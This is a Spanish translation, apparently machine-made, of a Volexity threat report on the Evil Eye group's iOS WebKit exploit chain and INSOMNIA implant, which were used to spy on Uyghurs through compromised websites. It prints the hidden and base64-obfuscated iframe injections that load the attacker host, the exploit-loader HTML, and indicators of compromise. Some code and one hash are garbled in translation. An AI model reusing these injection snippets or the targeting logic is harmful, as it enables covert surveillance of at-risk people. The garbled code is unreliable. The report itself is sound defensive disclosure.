iOS bajo amenaza

iOS: Nueva vulnerabilidad conocida

iOS bajo amenaza
iOS bajo amenaza

En septiembre de 2019, se publicó el Digital Crackdown: Vigilancia a gran escala y explotación de uigures , que describía una serie de ataques al iOS contra uigures de múltiples actores chinos de la APT.

El actor de amenaza iOS más notable detallado en el blog fue uno que Volexity llama Evil Eye. 

Se observó que el actor de la amenaza Evil Eye lanzó un exploit destinado a instalar un implante de malware en teléfonos Android. 

Volexity también creía que este era probablemente el mismo grupo responsable de los exploits de lanzamiento destinados a instalar un implante iOS como lo describe Proyecto Cero de Google. 

Inmediatamente después de las publicaciones de Google y Volexity, el actor de la amenaza Evil Eye se quedó bastante callado. 

Quitaron su código malicioso de sitios web comprometidos, los servidores de comando y control (C2) fueron retirados y varios nombres de host dejaron de resolverse. 

Esto siguió siendo así hasta principios de enero de 2020, cuando Volexity observó una serie de nuevas actividades en múltiples sitios web uigures previamente comprometidos.

En la última actividad identificada por Volexity, el actor de amenaza Evil Eye utilizó un marco de código abierto llamado IRONSQUIRREL  para lanzar su cadena de exploits. 

Los exploits utilizados apuntan a los sistemas operativos Apple iOS que aprovechan una vulnerabilidad en WebKit que parece haber sido parcheada en el verano de 2019.

El exploit funciona contra las versiones de iOS 12.3, 12.3.1 y 12.3.2 . 

Estas versiones de iOS son más nuevas que cualquier cosa mencionada en el blog de Google Project Zero, o cualquier otro informe publicado recientemente sobre exploits armados que se pueden usar de forma remota contra iPhones o iPads. 

Si el exploit es exitoso, se instalará una nueva versión del implante descrita por Google en el dispositivo. 

Volexity se refiere a este implante con el nombre de INSOMNIA .

Volexity observó múltiples ataques diferentes donde este implante se estaba instalando en dispositivos iOS. 

Esto incluye seis sitios web de exploits diferentes; 5 instancias del implante de malware; 3 combinaciones diferentes de IP C2 y pares de puertos; y 2 direcciones IP C2 únicas.

Cada uno de los sitios de explotación observados y los servidores C2 de malware se detallan en el Apéndice A a continuación.

Orientación a visitantes del sitio web

El actor de Evil Eye configuró el código IRONSQUIRREL para que se cargue de diferentes maneras a través de iframes maliciosos en los diversos sitios web comprometidos. 

Volexity observó un total de seis nombres de host diferentes que se utilizaron para lanzar ataques entre enero y marzo de 2020.

 Si bien la primera ronda de ataques se identificó en varios sitios web, los ataques futuros solo se observaron en conjunto con el sitio web de la Academia Uyghur. 

Los ataques se cargaron en gran medida de formas bastante estándar, como a través de un iframe en el índice de un sitio web, un archivo JavaScript modificado utilizado por el sitio web o iframes anidados , que fue el caso en el sitio web de la Academia Uyghur. 

El siguiente código ha estado en el índice principal del sitio web de la Academia Uyghur durante varios meses. 

El archivo “JPlayer.html” parece ser utilizado exclusivamente por el actor de Evil Eye cuando quieren lanzar ataques contra los visitantes del sitio web. 

De lo contrario, el archivo se elimina o se vacía cuando no está en uso.

<iframe src = ”https: // akademiye [.] org / ug / wp-content / themes / goodnews / js / Jplayer.html” width = ”0 ″ height =” 0 ″> </iframe>

En el primer ejemplo observado de esta actividad de explotación de iOS, se observó el siguiente código dentro de Jplayer.html.

<iframe src = ”https: //cdn.doublesclick [.] me / index.html” width = 0 height = 0> </iframe>

El método más notable para cargar el código fue a través de un iframe que se observó en la versión en chino del sitio web Uighur Times. Se observó el siguiente código.

<divstyle =”display: none”>
<iframe src =”data: text / html; base64, PGh0bWw + + PGhlYWQ PGJvZHk + + PGlmcmFtZSBzcmM9Imh0dHBzOi8vY2RuLmRvdWJsZXNjbGljay5tZS9pbmRleC5odG1sIj48L2lmcmFtZT48L2JvZHk PC9oZWFkPjwvaHRtbD4 =”>
</ iframe>
</ div>

Aquí, todo el iframe se ha ofuscado mediante el uso de la codificación base64, que es un método común para incrustar imágenes en la fuente de los sitios web. 

Sin embargo, es mucho menos común ver un contenido de carga de iframe desde un sitio web remoto; 

Esto puede usarse como un indicador de actividad sospechosa. El contenido de base64 en este iframe se decodifica de la siguiente manera:

<html><head> <body> <iframe src = ”https: //cdn.doublesclick [.] me / index.html”> </iframe> </body> </head> </html>

Orientación a visitantes del sitio web

El archivo index.html alojado en cdn.doublesclick [.]

Me daría inicio al primer paso en la orientación potencial contra el usuario. 

La respuesta devuelta por el servidor dependería del Usuario-Agente del visitante que realiza la solicitud. 

Se iniciaría una cadena de exploits si se detectara la cadena de User-Agent correcta; de lo contrario, el servidor simplemente respondería con el texto “ok”.

Como ejemplo, las siguientes cadenas de User-Agent resultarían en el lanzamiento de la cadena de exploits.

Mozilla / 5.0 (iPhone; CPU iPhone OS 12_3_1 como Mac OS X) AppleWebKit / 605.1.15 (KHTML, como Gecko) Versión / 12.1.1 EdgiOS / 44.5.0.10 Mobile / 15E148 Safari / 604.1

Mozilla / 5.0 (iPad; 12_3_1 como Mac OS X) AppleWebKit / 605.1.15 (KHTML, como Gecko) Versión / 12.0 EdgiOS / 44.5.2 Mobile / 15E148 Safari / 605.1.15CPU OS 1

Tenga en cuenta que el exploit se puede activar a través de cualquier navegador en el teléfono, ya que todos usan WebKit. 

Volexity pudo confirmar la explotación exitosa de un teléfono con 12.3.1 a través de los navegadores móviles Apple Safari, Google Chrome y Microsoft Edge. 

Si un dispositivo visitante pasa los primeros controles establecidos por Evil Eye, se devolverá un código similar al siguiente:

<html xmlns = ”http://www.w3.org/1999/xhtml”>
<head>
<meta content = ”text / html; charset = utf-8 ″ http-equiv =” Content-Type ”>
<meta content = ”utf-8 ″ http-equiv =” codificación ”>

 

<title> lista de datos </title>

 

</head>
<body onload = ”myfunction ()”>
<script>

 

function myfunction () {
settings ();
guardar datos();
}
</script>
<script type = ”text / javascript” src = ”js / s.js? rid = V3KUMVZACLINY324HKVW7CI2EXF3ALPBONLGL23ZP3IKMZ6DVOBA”> </script>
<script type = ”text / javascript” src = ”js / jquery.js / jque? rid = V3KUMVZACLINY324HKVW7CI2EXF3ALPBONLGL23ZP3IKMZ6DVOBA ”> </script>
</body>

 

</html>

El archivo jquery.js contiene la lógica principal y la clave pública del servidor, mientras que el archivo s.js contiene la biblioteca criptográfica de JavaScript de Stanford utilizada para generar un par de claves de cliente. 

Esta clave pública del cliente se pasa como una variable en la carga del JavaScript final.

función goto_application (client_pub_g) {
document.write (‘\ x3Cscript type = ”text / javascript” src = ”application? rid = VGXBJK2MFSGLRKQS7PZVJ2L5ZP3XTZPTDSFFYZYBFQPZBTBFKRJQ & cl =’> =>>>
}

El JavaScript servido por la solicitud de “aplicación” contiene las siguientes funciones / variables clave:

Función o variable Propósito
var load_macho Contiene la aplicación maliciosa que se debe descartar
función version_is_supported () Comprueba si la versión de iOS (basada en User-Agent) es adecuada para explotar (devuelve “12_3_2” == r || “12_3_1” == r || “12_3” == r)
función exp () Responsable de ejecutar el exploit, similar a este código
función stage_stable () Prepara un objeto falso para el exploit, de manera similar a esto
función stage_final () Responsable de construir el Mach-O a partir de la matriz hexadecimal y prepara el espacio de memoria para colocarlo

Si cada paso del JavaScript anterior es exitoso, el binario Mach-O se ejecuta en el teléfono. 

Esta aplicación contiene un exploit de iOS para la versión objetivo y otro binario Mach-O, el implante INSOMNIA, incrustado en él.

La explotación exitosa de iOS da como resultado que el implante INSOMNIA se escriba en el dispositivo en / tmp / updateserver. 

El implante se inicia con el argumento de la línea de comando “ejecutar”. 

Se ejecuta como root con varios derechos, lo que le da acceso a todos los datos que el actor de Evil Eye desea recopilar.

Volexity ha realizado un análisis inicial de la carga útil entregada a través de la cadena de exploits y ha podido confirmar la explotación exitosa de un iPhone con iOS 12.3.1. 

En la siguiente figura se muestra una descripción general de toda esta cadena:

Uyghur iPhone Diagram R1

INSOMNIA Análisis de implantes

Un análisis más detallado del binario malicioso indica que parece ser una versión actualizada del implante descrito por el Proyecto Cero de Google en su publicación Implant Teardown , que era una versión actualizada de lo que CitizenLab describió más tarde aquí . 

Las diferencias y actualizaciones se resumen de la siguiente manera:

  • Se encontraron nuevas direcciones IP y puertos codificados en los implantes de malware.
  • Toda la comunicación C2 ahora se realiza de forma segura a través de HTTPS. Esto cifra toda la actividad de C2, para incluir la exfiltración de datos.
  • El malware realiza la validación del servidor C2 utilizando un certificado incrustado en el malware y no funcionará si falla la validación.
  • El malware emplea técnicas básicas de ofuscación para ocultar algunas de sus cadenas incrustadas.
  • La mensajería cifrada y las aplicaciones seguras de correo electrónico Signal y Protonmail se han agregado a la lista de aplicaciones que están específicamente dirigidas por el malware.
  • Además de exfiltrar información sobre el teléfono y las aplicaciones específicas, el malware ahora envía automáticamente información sobre cada aplicación adicional que se instala en el dispositivo durante su teléfono inicial.

Tenga en cuenta que Volexity no tiene copias de los archivos exactos analizados por Project Zero o CitizenLab, por lo que las diferencias enumeradas anteriormente se basan en los informes publicados.

Cadenas ofuscadas

El implante hizo un uso extensivo de cadenas ofuscadas para ocultar nombres de archivos, nombres de API, parámetros de URL y otros datos relevantes para sus operaciones. Estas cadenas estaban ofuscadas por una rutina que usaba una clave y longitud XOR específicas de la cadena. La siguiente captura de pantalla muestra la descompilación de esta rutina dentro de Ghidra .

xorroutine

Al recorrer este código, la rutina toma un puntero a la estructura de datos de una cadena encriptada como argumento.

  • En la línea 7, primero verifica si la cadena ya ha sido descifrada (desplazamiento 0x14).
  • Si no es así, verifica que la longitud sea mayor que 0 en la línea 8 (desplazamiento 0x10).
  • Luego realiza un bucle para cada carácter en la cadena ofuscada y se desofusca con XOR. El puntero a la cadena se almacena en el desplazamiento 8, y la clave XOR de un byte a utilizar se almacena en el desplazamiento 0 de la estructura de datos. Para ayudar en nuestro análisis, desarrollamos un script que la fuerza bruta descifró cada cadena del binario en una sola pasada.

Comunicación de malware

Una de las principales críticas que Project Zero hizo a los atacantes fue la falta de encriptación utilizada por el malware durante sus operaciones:

Hasta ahora, hay algo que es notable solo por su ausencia: ¿está algo encriptado? La respuesta corta es no: realmente hacen POST todo a través de HTTP (no HTTPS) y no hay un cifrado asimétrico (o incluso simétrico) aplicado a los datos que se cargan.

Los atacantes parecen haber abordado esto y agregado capacidades de comunicación HTTPS a su malware. Para permitir que la aplicación maliciosa use un certificado autofirmado, los desarrolladores de malware incorporaron el certificado público x509 del servidor web dentro del ejecutable. Este certificado está codificado en la sección _mach_h del segmento __DATA. El malware utiliza la API getsectiondata para recuperar el certificado en tiempo de ejecución.

El certificado incrustado se almacena en el formato DER (binario); en tiempo de ejecución, el certificado se pasa a la API SecCertificateCreateWithData dentro del controlador didReceiveAuthenticationChallenge del malware . Como se documenta muy bien en la publicación de blog de un desarrollador   y por Apple , este proceso permite que las aplicaciones anulen el manejo integrado de certificados del sistema y proporcionen su propia autenticación para los certificados autofirmados de la aplicación. Esta es realmente la forma en que Apple recomienda usar certificados autofirmados durante el desarrollo, y el malware lo está abusando para sus propios fines. El Apéndice C contiene la forma legible para humanos del certificado incrustado en nuestro binario analizado.

El uso de un certificado específico y la verificación SSL significa que el malware no se comunicará con cualquier servidor HTTPS que esté escuchando, lo que agrega complejidad al análisis de INSOMNIA en un entorno sandbox. Para permitir que el malware se comunicara con la implementación del servidor personalizado de Volexity, era necesario “engañar” al malware para que confiara en el servidor que habíamos configurado para actuar como C2. Como Volexity no tenía acceso a la clave privada del certificado originalmente incrustado en el malware, se tuvo que identificar otra solución. La solución elegida fue editar el malware directamente y reemplazar el certificado incrustado con uno que creamos. 

Esto se hizo sobrescribiendo el certificado en el binario y actualizando el encabezado de tamaño de sección mach_h para que coincida con la longitud del nuevo certificado. Una vez reemplazado de manera segura.

Con el malware comunicándose con éxito con el servidor Volexity C2, pudimos inspeccionar los datos robados de nuestro dispositivo ficticio. 

Según las descripciones anteriores de este malware, los datos transferidos no están encriptados (a excepción del HTTPS), por lo que podemos ver fácilmente los datos robados. 

Como esto ya se ha hecho en profundidad en la redacción del Proyecto Cero, no lo revisaremos aquí nuevamente, con la excepción de los datos robados de Signal. 

Los datos robados de la aplicación Signal son los siguientes:

  • Imágenes transferidas usando Signal (estas no están encriptadas en el teléfono)
  • Una copia de los mensajes, almacenados en una base de datos SQLite3 (estos están encriptados en el teléfono)

Los mensajes requieren una clave del llavero del teléfono para poder descifrarse con éxito. 

En el entorno de prueba de Volexity, la clave requerida no se extrajo automáticamente, lo que quizás muestra una deficiencia en el pensamiento de los atacantes.

Con el tiempo, se modificaron las direcciones IP con las que se configuró el malware para comunicarse, los puertos y los certificados utilizados para verificar el servidor.

Funcionalidad y aplicaciones dirigidas

Como se describe en las publicaciones de Project Zero y CitizenLab, el malware contiene una lista de aplicaciones para las cuales robará datos automáticamente si se instalan. 

Desde el último análisis, se han agregado las siguientes aplicaciones a esta lista:

  • Señal (org.whispersystems.signal)
  • ProtonMail (ch.protonmail.protonmail)

La inclusión de estas aplicaciones sugiere que la comunidad uigur las está utilizando más comúnmente que antes. 

En particular, la inclusión de Signal y ProtonMail puede sugerir que los uigures están al tanto de la supervisión potencial de sus comunicaciones y están tratando de usar aplicaciones con fuertes características de seguridad para evitar esto. 

También vale la pena señalar que este implante también está dirigido a la popular aplicación de mensajería WeChat. 

Esta aplicación se menciona como “com.tencent.xin” en otros informes, pero no se menciona como WeChat.

Volexity también señaló que el malware no tiene un mecanismo de persistencia. 

Esto indica que los atacantes deben trabajar rápidamente para obtener los datos que desean de un dispositivo antes de que se reinicie, o que pueden confiar potencialmente en la capacidad de reinfectar un teléfono. 

Alternativamente, puede ser posible que los atacantes tengan un método para mantener la persistencia, pero solo configurarlo manualmente después de verificar el objetivo.

Conclusión

A pesar de que las vulnerabilidades explotadas en este informe están parcheadas a partir de julio de 2019 con la versión iOS 12.4 y posteriores, parece que Evil Eye probablemente esté teniendo éxito con estos ataques. 

Según las propias estadísticas de Apple de su sitio web:

  • El 43% de los dispositivos iPad que usan la tienda de aplicaciones usan iOS 12 o anterior
  • El 30% de los dispositivos iPhone que usan la tienda de aplicaciones usan iOS 12 o anterior

Esto representa una superficie de ataque considerable de dispositivos potencialmente vulnerables.

Como se señaló en septiembre de 2019, Volexity sospechaba que los atacantes de Evil Eye también habían atacado a iPhones en función de que los servidores C2 de los atacantes se desconectaran poco después de que se hicieran públicos los hallazgos del Proyecto Cero. 

Estos hallazgos más recientes confirman la sospecha de que los atacantes eran probablemente los mismos. 

Ahora se puede confirmar que en los últimos seis meses, los sitios uigures han generado malware para todas las plataformas principales, lo que representa un desarrollo considerable y un esfuerzo de mantenimiento por parte de los atacantes para espiar a la población uigur.

Apéndice A – Indicadores de red

Tipo de COI Valor Descripción
Dirección IP 154.85.32.52 C2 para implante iOS observado en los puertos TCP 43223 y 43773
Dirección IP 154.85.37.250 C2 para implante iOS observado en el puerto TCP 43111
Nombre de host static.doublesclick.info IRONSQUIRREL explotar nombre de host
Nombre de host cdn.doublesclick.me IRONSQUIRREL explotar nombre de host
Nombre de host api.doubles.click IRONSQUIRREL explotar nombre de host
Nombre de host status.search-sslkey-flush.com IRONSQUIRREL explotar nombre de host
Nombre de host start.apiforssl.com IRONSQUIRREL explotar nombre de host
Nombre de host status.verifyingbycf.com IRONSQUIRREL explotar nombre de host
Dirección IP 154.85.33.48 Resolución para nombre de host malicioso
Dirección IP 154.85.34.49 Resolución para nombre de host malicioso
Dirección IP 154.85.34.214 Resolución para nombre de host malicioso
Dirección IP 154.85.34.19 Resolución para nombre de host malicioso
Nombre de host 154.85.35.1 Resolución para nombre de host malicioso

Apéndice B – Hashes de implantes de INSOMNIA

SHA256 Descripción
c9320a9dc97adbe96c088d3f5ddf3f9275124137f0bf200fdd7160f47c5dcf1a Ejecutado como / tmp / updateserver con C2 en 154.85.32.52:43223
a8dd8caaeb43d693ececf096bc6fe6c7cbf1ce513cfe33de4224c5c30661a4e3 Ejecutado como / tmp / updateserver con C2 154.85.32.52:43773
20827a607bacca9119b6fa471b37d6c751664900e68e50e28b734353c36f0d0c Ejecutado como / tmp / updateserver con C2 154.85.37.250:43111
c8961483c7197aa0f352b2fd007412e88723fd5af4f64788aa1ce48a0999bd38 Ejecutado como / tmp / updateserver con C2 154.85.32.52:43773
9518c66b9b568c0f00f9540b961a40529e38c0d723icsoft00a9c33a043e6b746f6 Ejecutado como / tmp / updateserver con C2 154.85.32.52:43773

Apéndice C – Certificado Embebido

Número de serie: 1111444412586956902 (0xf6ca4cdf7d69866)
Algoritmo de firma: sha256WithRSAEncryption
Issuer: C = US, O = xLq, OU = www.xzXW.com, CN = XdM Root CA
Validez
no anterior: 24 de diciembre 22:03:30 2019 GMT
No después: 24 dic 22:03:30 2039 GMT
Asunto: C = US, O = xLq, OU = www.xzXW.com, CN = XdM Root CA

Número de serie: 2330826125403043443 (0x2058c20305d93673)
Algoritmo de firma: sha256WithRSAEncryption Issue
: C = US, O = SsT, OU = www.p83.com, CN = 3fbW Root CA
Validez
no anterior: 20 de enero 17:02:26 2020 GMT
No después: 20 de enero 17:02:26 2040 GMT
Asunto: C = US, O = SsT, OU = www.p83.com, CN = 3fbW Root CA

Número de serie: 1152440617419100323 (0xffe4aa2b9ff50a3)
Algoritmo de firma: sha256WithRSAEncryption
Issuer: C = US, O = CD6, OU = www.bUjS0F.com, CN = i4v Root CA
Validez
no anterior: 2 de febrero 19:44:45 2020 GMT
No después: 2 de febrero 19:44:45 2040 GMT
Asunto: C = EE. UU., O = CD6, OU = www.bUjS0F.com, CN = i4v Root CA

 Número de serie: 2340440485700108803 (0x207aea38b8190203)
Algoritmo de firma: sha256WithRSA
Emisor de cifrado : C = US, O = sCO, OU = www.w2j082Q.com, CN = 4VNf Root CA
Validez
no anterior: 13 de marzo 17:29:21 2020 GMT
No después: 13 de marzo 17:29:21 2020 GMT No después: 13 de marzo 17:29:21 13 de marzo 17:29:21 2040 GMT
Asunto: C = EE. UU., O = sCO, OU = www.w2j082Q.com, CN = 4VNf CA raíz

 

 

Por Andrew Case, Dave Lassalle, Matthew Meltzer, Sean Koessel, Steven Adair, Thomas Lancaster